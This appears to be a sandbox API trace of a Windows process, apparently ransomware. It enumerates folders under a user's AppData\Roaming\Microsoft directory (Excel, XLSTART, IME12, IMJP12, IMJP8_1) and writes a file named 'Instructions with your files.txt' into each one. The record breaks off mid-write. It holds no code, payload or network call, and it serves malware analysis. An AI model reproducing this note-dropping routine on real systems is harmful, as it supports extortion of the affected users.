[0131.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.325] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\.") returned 67
[0131.325] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c1e0470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.325] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\..") returned 68
[0131.325] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1
[0131.325] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned 73
[0131.325] GetProcessHeap () returned 0x810000
[0131.325] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.326] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned 75
[0131.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.326] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\.") returned 75
[0131.326] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.326] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\..") returned 76
[0131.326] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.326] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\Instructions with your files.txt") returned 106
[0131.327] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\excel\\xlstart\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.327] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.328] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.328] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.328] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.328] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.328] CloseHandle (hObject=0x11c) returned 1
[0131.328] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.328] GetProcessHeap () returned 0x810000
[0131.328] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.328] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd01394e0, ftCreationTime.dwHighDateTime=0x1d301bc, ftLastAccessTime.dwLowDateTime=0xd01394e0, ftLastAccessTime.dwHighDateTime=0x1d301bc, ftLastWriteTime.dwLowDateTime=0xd01394e0, ftLastWriteTime.dwHighDateTime=0x1d301bc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0
[0131.328] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\Instructions with your files.txt") returned 98
[0131.328] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Excel\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\excel\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.329] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.329] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.329] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.330] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.330] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.330] CloseHandle (hObject=0x118) returned 1
[0131.330] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.330] GetProcessHeap () returned 0x810000
[0131.330] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.331] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1
[0131.331] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12") returned 65
[0131.331] GetProcessHeap () returned 0x810000
[0131.331] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.332] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*") returned 67
[0131.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.332] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\.") returned 67
[0131.332] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.332] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\..") returned 68
[0131.332] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.332] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\Instructions with your files.txt") returned 98
[0131.332] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IME12\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ime12\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.333] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.333] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.334] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.334] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.334] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.334] CloseHandle (hObject=0x118) returned 1
[0131.334] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.334] GetProcessHeap () returned 0x810000
[0131.334] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.334] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1
[0131.334] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12") returned 66
[0131.334] GetProcessHeap () returned 0x810000
[0131.334] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.334] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*") returned 68
[0131.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.334] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\.") returned 68
[0131.334] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.334] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\..") returned 69
[0131.334] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.335] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\Instructions with your files.txt") returned 99
[0131.335] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP12\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp12\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.335] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.336] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.336] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.336] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.336] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.336] CloseHandle (hObject=0x118) returned 1
[0131.336] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.336] GetProcessHeap () returned 0x810000
[0131.336] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.336] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1
[0131.336] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned 67
[0131.336] GetProcessHeap () returned 0x810000
[0131.336] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.336] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*") returned 69
[0131.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.337] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\.") returned 69
[0131.337] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.337] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\..") returned 70
[0131.337] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.337] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\Instructions with your files.txt") returned 100
[0131.337] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\IMJP8_1\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\imjp8_1\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.337] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.338] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.338] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.339] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
